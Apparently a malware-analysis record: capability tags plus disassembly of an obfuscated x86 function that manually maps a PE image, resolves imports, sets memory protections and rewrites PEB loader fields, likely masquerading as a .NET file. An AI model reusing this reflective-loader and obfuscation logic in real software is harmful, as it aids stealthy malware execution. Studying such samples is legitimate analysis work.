Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
bswap eax
and eax, 0x38
bswap edx
inc edi
inc ebx
rcl eax, 0xf4
not eax
sub ebx, 0x2e
sbb esi, 0xf5
sub eax, 0xee
bswap esi
rcr edx, 0xc8
or eax, 0x2e
rcr eax, 0x2b
neg ebx
inc edi
rol eax, 0xeb
add ebx, 0x42
and esi, 0x7c
ror edx, 0x7a
and edx, 0x97
imul esi
or ebx, 0x46
dec ebx
bswap esi
inc eax
not ebx
or ebx, 0xd7
imul esi
rcl edi, 0xeb
bswap esi
sub edi, 0xca
rcr eax, 0x58
dec edx
and esi, 0x6f
neg eax
not ebx
dec edx
inc edx
not eax
dec edi
imul ebx
sbb edi, 0x3c
neg eax
inc edi
dec edx
imul ebx
and ebx, 3
dec edi
rcl esi, 0x1e
dec edx
or ebx, 0x5e
imul eax
or edi, 0x86
rcl eax, 5
dec esi
sbb edx, 0x7d
dec eax
neg ebx
rcr esi, 0x79
imul edi
inc eax
inc ebx
rcl edi, 0x55
bswap eax
imul edx
sub eax, 1
sbb ebx, 0xb7
sub ebx, 0x2a
rcl edi, 0x59
bswap esi
rcr ebx, 0xa7
sbb edi, 0x79
dec esi
rcr edx, 5
dec esi
dec edi
not ebx
add eax, 0x75
ror edx, 0x4f
sub edi, 0xce
bswap edx
sub ebx, 0x7e
inc edi
imul esi
ror ebx, 0xeb
not esi
bswap eax
inc edx
not eax
imul esi
sub eax, 0xc6
sbb esi, 0x1f
mov ebx, 0xdb
bswap ebx
imul eax
sbb edi, 0x38
neg edi
inc ebx
rol edx, 0xf6
rol ebx, 0x9a
dec edx
dec edi
inc edi
mov eax, 0x40
rol esi, 0xc9
and esi, 0x43
bswap ebx
sub ebx, 0xd5
imul eax
rol edi, 0xa9
rol ebx, 0xe6
sub edx, 0xd6
inc eax
and edx, 0xd4
not edx
rol eax, 0x24
rol edi, 0x9b
imul eax
rcr esi, 0xe0
neg eax
inc esi
or esi, 0xd5
and ebx, 0xce
imul edx
and ebx, 0x5f
not eax
dec eax
dec edx
ror ebx, 0x82
rol eax, 0x7c
sub edi, 0xf7
neg esi
sub edx, 0x87
or edi, 0xf4
rcl edi, 0x69
dec esi
rcl esi, 0x3e
neg edx
ror esi, 0x96
neg edx
not esi
mov edi, 0x9f
dec esi
inc eax
imul ebx
sub edx, 0x7d
ror edx, 0x2f
inc eax
ror esi, 0x4a
bswap eax
dec eax
mov edx, 0x60
sbb ebx, 0xd2
bswap eax
imul eax
rol eax, 0x61
not eax
ror esi, 0xc1
mov edi, 0x3a
rol edi, 0x9f
sub edi, 0xf3
imul esi
or edi, 0x9f
add eax, 0x73
rcl eax, 0x29
inc edi
inc esi
rol edi, 0xac
neg edi
bswap eax
rcl edx, 0xa5
mov eax, 0xba
imul ebx
not edx
sub ebx, 0x78
ror ebx, 0x9c
bswap edi
bswap edx
neg edi
bswap edi
imul edx
ror eax, 0x12
bswap esi
dec edi
rol eax, 0x34
dec eax
dec esi
add edi, 0x7f
dec edx
sbb eax, 0xa3
add ebx, 0xf3
rcl eax, 0xdf
bswap esi
neg edi
and eax, 0xbc
inc esi
dec esi
not esi
neg ebx
push 0x1ac00
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
rcr esi, 0xf3
inc ebx
rcl ebx, 0xec
imul ebx
add edi, 0x1e
or edx, 0x1a
and esi, 0x1b
mov ebx, 0xb4
imul edx
rol edx, 0xc4
rol edx, 0xa6
sub eax, 6
rol eax, 0x17
ror edi, 0xf6
dec eax
add ebx, 0xfc
or ebx, 0xd3
inc edx
not eax
imul eax
or edx, 0x37
inc ebx
neg edx
inc eax
dec edx
rol ebx, 5
add esi, 0xfd
inc edx
sbb esi, 0x5b
imul edi
ror esi, 0xae
or edx, 0x22
add edi, 0x7e
rol edx, 0xa2
dec esi
inc eax
sub eax, 0x4c
rcr edx, 0x19
ror edx, 0x24
inc eax
neg ebx
sub eax, 0x72
rcl edi, 0x45
sub edi, 0x75
neg eax
not edx
rcr edi, 0xf4
mov edx, 0xe6
inc eax
inc edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x4082ea
mov eax, 1
jmp 0x4098e4
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40831d
mov dword [ebp - 0x110], 0
jmp 0x40832c
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x408374
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x408374
mov eax, 2
jmp 0x4098e4
imul edi
rol edi, 0x4f
sbb eax, 0x6c
neg ebx
inc esi
sub eax, 0xf2
sbb edi, 0x12
neg edx
neg esi
mov ebx, 0xf4
inc edx
sbb eax, 0x59
add eax, 0x2f
dec edx
sub esi, 0xc3
sub eax, 0x41
not eax
ror ebx, 0x69
ror ebx, 0x70
sbb edx, 0x9e
neg eax
dec eax
sub esi, 0xa
rcr eax, 0x6b
sub ebx, 0x59
dec eax
or edi, 0xfe
bswap edx
sub edi, 0x7a
mov esi, 0xb5
and eax, 0x73
or ebx, 0x45
or edi, 0x28
bswap eax
sbb edi, 0x80
rcl eax, 0xde
add edx, 0x90
imul ebx
dec edi
ror edx, 0x7c
add edx, 0x13
or eax, 0x1a
imul ebx
neg edi
rcr eax, 0x60
and eax, 0x98
dec edx
dec edi
rcl edi, 0x70
rol esi, 0xc4
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401250
add esp, 0xc
neg esi
imul edx
neg edi
rcl eax, 0x12
neg edx
or edi, 0x7e
ror edx, 0x9f
ror ebx, 0x77
imul esi
dec edi
bswap edi
rcl ebx, 0x8b
sub edi, 0x2f
not ebx
add edi, 0xcc
dec esi
ror esi, 0x5e
inc edx
and edx, 0x37
neg edx
rcr eax, 0x28
dec eax
neg ebx
sbb edx, 0x53
rcl eax, 0xa4
not eax
imul edx
dec eax
imul edi
imul edx
neg edx
neg ebx
dec edi
ror esi, 0x26
sub ebx, 0x2e
bswap ebx
mov edx, 0x87
imul esi
bswap ebx
imul eax
rcr edi, 0xf9
and eax, 0x18
imul edx
dec edx
add ebx, 0x47
neg edi
not edx
add esi, 0xd8
or edx, 0xd4
imul ebx
rcl edi, 0x37
imul edx
neg eax
and eax, 0x13
imul esi
imul eax
not edx
not ebx
bswap eax
inc edx
and esi, 0x4c
mov esi, 0x3a
mov esi, 0xbd
sbb edi, 0xf
neg edx
rol edx, 0xc9
not eax
not esi
inc eax
inc esi
sub edx, 0x5a
mov edx, 0x90
imul edi
add edx, 0x5a
dec esi
ror eax, 0x13
imul eax
bswap eax
rcr edi, 0xc6
or edx, 0x8e
not edx
mov eax, 0xf7
neg ebx
dec esi
imul edi
inc eax
ror esi, 0x97
imul edx
mov ebx, 0xb2
bswap edx
dec ebx
bswap edi
neg eax
neg edx
imul esi
neg edi
bswap edx
mov esi, 0x4e
and esi, 0xfa
inc edi
and eax, 0xdb
add edx, 0x46
or esi, 0xc6
dec edi
bswap eax
rcl edi, 0xd3
imul esi
imul eax
ror edx, 0xc
not ebx
ror edx, 0xc7
imul edx
mov esi, 0xd1
and edx, 0x93
sbb esi, 0xe5
ror eax, 0xb0
inc esi
rcr edx, 0xfc
ror eax, 7
rol edi, 0xa4
neg edi
rol eax, 0x3c
bswap edx
bswap edx
rcr esi, 0xa3
rcl eax, 0xac
imul ebx
dec eax
dec esi
bswap esi
ror eax, 0xc7
sbb eax, 0x12
dec eax
not edx
rol ebx, 0x46
inc esi
mov edx, 0x4b
not esi
mov edx, 0xbd
dec edx
rcr edi, 0x24
not esi
not eax
sbb esi, 0xb
add eax, 0xcb
imul eax
bswap eax
sbb eax, 0x68
bswap eax
dec edi
and esi, 0x52
rcl esi, 0xf5
add esi, 1
not ebx
inc ebx
add esi, 0x7e
rcl edi, 0x4c
and eax, 0xb4
rcr edx, 0xe0
bswap eax
add edi, 0xb1
rcr ebx, 0xb5
inc esi
and ebx, 0xbf
ror edi, 0x4d
add ebx, 0x2b
imul ebx
imul edx
inc ebx
dec edx
dec ebx
and edx, 0xe0
and esi, 0xc6
bswap esi
or esi, 0xb3
inc eax
imul esi
or eax, 0x92
rol edi, 0xaf
and esi, 0x6d
and esi, 0x36
or ebx, 1
ror eax, 0x1d
rcr ebx, 0xd7
bswap edx
imul eax
inc eax
add esi, 0x97
inc edi
mov ebx, 0x5d
rol ebx, 0xba
rol esi, 0x5d
sub esi, 0xb1
and ebx, 0x18
rcl edx, 0xdd
not ebx
bswap edi
rcl edx, 0x39
neg edx
add ebx, 0x8c
sub eax, 0xac
neg edi
imul edx
bswap edx
neg eax
mov esi, 0x28
add ebx, 0xc4
neg eax
not edi
rcr edx, 0xf0
ror edi, 0x6b
mov eax, 0xdc
bswap edx
add edi, 0xeb
or edi, 0x1e
inc edi
or ebx, 0x1d
dec esi
not edx
dec eax
dec ebx
sub edi, 0xdb
sub eax, 0xf3
add eax, 0x60
and eax, 0xe9
sbb edx, 0x47
add edi, 0x96
add eax, 0xb6
add edi, 0xe1
imul esi
dec edx
sub ebx, 0x67
inc ebx
not eax
rcl ebx, 0xc9
and edi, 0xec
add ebx, 0x57
bswap ebx
bswap edi
ror edx, 0x75
add ebx, 0xfa
and edx, 0x39
neg esi
not edi
inc ebx
neg edx
dec edx
bswap esi
sub ebx, 0xa5
rcl eax, 0xc6
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40870a
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40876b
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401250
add esp, 0xc
jmp 0x4086fb
neg esi
dec ebx
mov edx, 0x14
mov esi, 0xfa
imul eax
sub edi, 0x6a
ror eax, 0x8b
or esi, 0x4b
bswap esi
ror eax, 0xca
neg esi
add ebx, 0x92
dec edi
inc edi
ror eax, 0xda
or eax, 0x4a
sbb edi, 0x9c
neg ebx
dec edi
rcl eax, 0xb6
imul esi
rcr eax, 0xea
imul eax
rcl ebx, 0x80
add eax, 0x7c
inc edi
rcl esi, 0x78
inc eax
bswap ebx
mov edx, 0xdb
imul edi
imul ebx
neg esi
rcl edi, 0x38
neg esi
rcl ebx, 0x26
or eax, 0x19
mov edx, 0x43
rol edx, 0xb2
rcl edx, 0xd8
sbb edi, 0x11
not edx
bswap ebx
dec esi
sub ebx, 0x48
sbb eax, 0xc5
inc edi
inc esi
and ebx, 7
ror ebx, 0xca
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x408926
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x408926
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40889b
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x408900
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x4088ef
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40888c
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x408837
rol ebx, 0x11
rcr esi, 0x93
sbb eax, 0x9f
neg ebx
rcl eax, 0x3d
ror esi, 0x9a
dec edx
rol edx, 0x39
and esi, 0x43
mov edx, 0x37
inc ebx
dec eax
rcl eax, 0x67
imul eax
dec esi
mov ebx, 0xae
inc ebx
neg edi
mov eax, 0x3b
imul ebx
or ebx, 0x6c
bswap edx
inc eax
not edx
neg edi
imul esi
imul esi
imul eax
rcl eax, 0x76
bswap esi
bswap edi
dec esi
inc ebx
bswap edi
neg esi
not edx
sub esi, 0x6f
rcr eax, 0x8b
dec eax
imul edi
and ebx, 0x1e
inc edx
bswap eax
rcl edi, 0xdf
sbb edx, 0xe1
ror esi, 0xe7
imul esi
dec edi
bswap ebx
and edx, 0x51
ror ebx, 0xca
not eax
bswap esi
rol esi, 0xb9
and edi, 0x4d
dec edx
sub esi, 0xb7
rol edx, 0xab
ror edi, 0xe7
bswap edx
mov eax, 0x79
ror ebx, 0xe3
add eax, 0x95
inc edx
and eax, 0x90
rol esi, 0xd9
rcr edx, 0xc7
neg edx
sbb edx, 0xa9
not edx
or edi, 0xf3
inc edi
and eax, 0x94
imul eax
add eax, 0x6f
rcr eax, 0xbf
inc edi
and edi, 0x54
mov eax, 0xee
dec ebx
ror edi, 0x92
add edi, 0xa4
or eax, 0xf1
rol esi, 9
inc eax
and ebx, 0x28
ror edx, 0x4d
bswap edi
bswap eax
bswap esi
or ebx, 0x64
inc ebx
neg esi
rcl eax, 0x59
or edi, 0x9e
inc edi
sub edx, 0xc7
imul edx
inc esi
or edx, 0x84
bswap ebx
or edx, 0x67
sub ebx, 0xf7
ror edx, 0xc8
dec edx
not esi
imul eax
add edi, 0xb0
rcl eax, 0x4a
sub edx, 0xf9
rol eax, 0xe4
sbb ebx, 0x17
rol edi, 7
or ebx, 0xda
mov ebx, 0xfa
add esi, 0xc3
dec esi
ror eax, 0xdb
sbb ebx, 0xc2
imul esi
inc edx
inc eax
and edx, 0x27
inc eax
bswap eax
imul esi
and edi, 5
rol edi, 0x1e
mov edi, 0xb8
not ebx
rcr ebx, 0x87
rol esi, 0x5b
sub eax, 0xb5
mov eax, 0xe3
dec edx
rol edx, 0x17
inc edx
ror edx, 0x23
sub edi, 0x5e
imul edx
neg esi
rol ebx, 0xd9
sbb edx, 0xcd
add ebx, 0xb0
mov esi, 7
not edx
ror esi, 0xde
ror edx, 0x57
rcl ebx, 0xd4
imul edx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408b0a
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c48
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b61
jmp 0x408afb
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408b9b
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c43
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408c16
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408b8c
jmp 0x408afb
mov dword [ebp - 0x104], 0
jmp 0x408c63
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d81
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cd1
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cd1
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408cd1
mov dword [ebp - 0x108], 0x40
jmp 0x408d38
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cf9
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cf9
mov dword [ebp - 0x108], 4
jmp 0x408d38
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408d20
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408d20
mov dword [ebp - 0x108], 0x20
jmp 0x408d38
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d38
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401270
add esp, 0x10
jmp 0x408c54
sbb ebx, 0x28
sub edx, 0x12
imul esi
ror esi, 0xc9
and edx, 0x22
rcr esi, 0x3f
dec eax
not ebx
not eax
not eax
and edx, 0x90
imul ebx
rol eax, 0x16
sbb eax, 0xcd
sub eax, 0x87
neg edx
inc esi
or ebx, 0x19
mov ebx, 0x5f
neg ebx
rcl eax, 0x92
imul edx
bswap edx
not eax
inc ebx
neg esi
dec eax
inc ebx
rcl edx, 0xd7
imul esi
imul edx
sbb ebx, 0x2a
dec edx
add edi, 0x1c
imul ebx
not ebx
imul edx
rcl edx, 0x52
imul edx
sbb ebx, 0xee
rol edi, 0xbf
neg edi
or edx, 0xaa
rcl edi, 0x7b
bswap eax
sub esi, 0xee
not edx
not esi
inc edx
add esi, 0x70
neg edi
dec edi
or ebx, 0xdc
imul eax
dec esi
bswap edx
neg edi
add edi, 0x60
rcr esi, 0xc7
sbb eax, 0xf3
bswap ebx
bswap eax
inc esi
not eax
neg eax
and esi, 0xe
inc esi
rcr edi, 0x60
and ebx, 0xb4
dec ebx
neg edi
not eax
imul ebx
sbb edx, 0xa2
not edx
or esi, 0x37
add ebx, 0xec
add ebx, 0xe
or edx, 0x18
rcl esi, 0xd3
neg ebx
sub eax, 0xa9
rcr edi, 5
or edi, 0x55
ror ebx, 0x60
inc ebx
imul ebx
neg esi
mov esi, 0x29
add edi, 0x59
neg ebx
inc esi
rol edi, 0x17
imul ebx
not edi
neg edx
sbb esi, 0x8d
neg ebx
imul esi
imul edx
add esi, 0xe
dec ebx
mov eax, 0x1b
or eax, 0x63
imul ebx
sub esi, 0x49
or edx, 0x58
neg edx
rcl esi, 0xaa
bswap esi
rcl edx, 0xb1
ror edx, 0x6d
dec edi
rcr esi, 0xbf
inc edi
not edx
add ebx, 0x7c
mov edi, 0x59
bswap edi
mov eax, 0x1a
add edi, 0x20
not esi
rol edi, 0x7e
ror edx, 0x9a
not edi
rcr edi, 0xcc
sbb edx, 0x21
dec edi
imul edi
sub edi, 0xdd
sub eax, 0xab
neg eax
bswap esi
imul edx
inc edi
add eax, 0xaf
imul eax
imul edx
sbb eax, 0xf
sbb ebx, 0xdc
neg edi
rcr ebx, 0xbe
bswap esi
inc esi
or edi, 0x9f
sub edi, 0xac
dec ebx
rol eax, 0x25
neg eax
neg esi
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
not esi
mov eax, 0x71
neg edx
and esi, 0xfa
not ebx
bswap esi
dec edi
dec edx
ror ebx, 0xae
rcl eax, 0x56
dec ebx
sbb edi, 0x34
neg edx
or edx, 0x3f
rol ebx, 0x61
bswap esi
sub edx, 0xa9
sbb esi, 0x7b
ror esi, 0x4a
ror esi, 0x14
rol ebx, 0xa1
rcl edi, 0x33
sbb ebx, 0xcb
rcr ebx, 0x51
bswap edi
inc esi
ror edx, 0xe7
add eax, 0x56
ror ebx, 0xd6
rol eax, 0xb7
sbb ebx, 0x49
and ebx, 0x4b
or esi, 0x8d
bswap edx
rcl eax, 0x72
sbb edi, 0x6b
rcl ebx, 0x47
sub edi, 0xfd
not esi
dec edi
dec eax
inc edi
add ebx, 0xfb
ror eax, 0x20
add ebx, 0x3c
imul ebx
not edi
add eax, 0x15
neg eax
not eax
dec eax
not eax
rcr ebx, 0x8e
rcl esi, 0x50
neg edx
rol ebx, 0xdb
or esi, 0xc7
not esi
add edx, 0x62
add edi, 8
neg eax
mov esi, 0x11
sub ebx, 0x26
imul ebx
or ebx, 0xf6
not edi
imul esi
bswap ebx
inc eax
sbb eax, 0xf6
or eax, 0xa4
rcr ebx, 0xc0
imul edi
imul edx
not esi
and eax, 0xc5
neg edx
inc esi
ror ebx, 0x29
mov edi, 0x75
ror eax, 0xc1
imul ebx
sbb ebx, 0x4e
not eax
not edx
rcl edx, 0x14
ror edi, 0xd4
sbb ebx, 0xe1
or ebx, 0x2a
sub ebx, 0x2e
not ebx
not eax
dec ebx
bswap eax
rcl edx, 0xd9
not esi
bswap edx
or eax, 0xc9
not ebx
imul esi
not esi
or eax, 0x2d
dec ebx
dec esi
rol eax, 0xe9
ror eax, 0xda
add esi, 0xe0
inc esi
ror eax, 0x8f
bswap edi
ror ebx, 0xb2
inc edx
imul edi
inc ebx
sub edx, 0xbc
mov eax, 0xae
sub eax, 0xc8
and edx, 0x36
dec esi
or edi, 0xb9
dec ebx
ror edi, 0xa5
neg edx
inc eax
ror eax, 0xe7
rol eax, 0xa7
rol eax, 0xcd
bswap ebx
inc eax
and edi, 0x59
imul edi
and esi, 0xea
bswap edx
neg edx
and edi, 5
sub edi, 0x3e
add edx, 0x96
add ebx, 0x42
imul edx
sub eax, 0xdf
inc edi
or esi, 0xf2
rcl esi, 0x45
rcl ebx, 0x37
neg ebx
rol edx, 0xb3
imul edi
inc edi
neg ebx
and edi, 0xfb
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
inc edi
rcl edx, 0x77
rol esi, 0x42
add esi, 0x6f
neg eax
rcl edi, 0xd9
ror esi, 0x6f
bswap ebx
ror eax, 0xd5
or eax, 0xb7
bswap esi
rcr esi, 0xb6
or edi, 0xf0
bswap ebx
mov esi, 0x43
rol eax, 0x4b
rcr ebx, 0xc1
and edi, 0xdb
neg esi
mov eax, 0x93
not esi
dec edx
imul ebx
not edx
rcl esi, 0x90
neg ebx
sbb edx, 0x63
inc ebx
rcr edi, 0x24
rcr edi, 0xae
imul esi
rol eax, 0xe7
inc eax
sbb edx, 0x24
neg esi
sbb edx, 0xe6
sbb eax, 0xa0
mov esi, 0x9e
imul edi
dec edi
bswap eax
or esi, 0x61
rcl edi, 0x9a
and esi, 0x33
inc eax
imul eax
rcr edx, 0x74
sub ebx, 0x52
not eax
add edi, 0x97
rcl esi, 0x19
neg ebx
sub edi, 0x5f
sub ebx, 0xff
inc eax
dec esi
not edi
and eax, 0xc0
rcl edi, 0x5c
or eax, 8
imul ebx
imul ebx
inc esi
sbb edi, 0x43
rol edi, 0x4d
sub esi, 0x37
neg edi
not edi
mov edi, 0x2f
add esi, 0xfe
ror esi, 0x31
neg eax
not edx
sub edx, 0x31
bswap edi
imul eax
bswap esi
bswap ebx
and esi, 0xf7
rol ebx, 0xe1
or eax, 0x73
sub ebx, 0x6a
bswap edi
bswap edx
bswap edi
inc ebx
ror esi, 0x94
or ebx, 0x35
rcr edx, 0x86
rol ebx, 0xf2
or esi, 0xcf
inc edx
dec edi
imul edx
bswap ebx
or edi, 0x23
inc eax
ror edx, 0x18
or eax, 0x7f
dec esi
or eax, 0xcf
ror esi, 0xdc
bswap edi
sbb edx, 5
sbb edx, 0x11
add esi, 0xcb
sub edx, 0x6e
inc ebx
rcr eax, 0xd8
sbb ebx, 0xe5
add edi, 0x87
inc edx
and edx, 0xb2
rcl esi, 0x2a
sub eax, 0x17
rcr esi, 0x66
neg esi
bswap edx
not edx
mov eax, 0x59
sub edi, 0x2d
dec esi
add ebx, 0x49
add edi, 0x9f
inc ebx
sbb eax, 0x37
bswap eax
sbb edx, 0x5f
ror edi, 0xe4
not edx
bswap eax
imul esi
bswap eax
neg edi
add edx, 0xc3
neg esi
sbb eax, 0xd2
not esi
sub ebx, 0x2b
rol edx, 0x6c
dec edx
bswap esi
and edx, 0x5a
mov edi, 0x8e
ror eax, 0x5f
inc edi
neg esi
sub edx, 0x3f
dec edi
sub eax, 0x2d
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
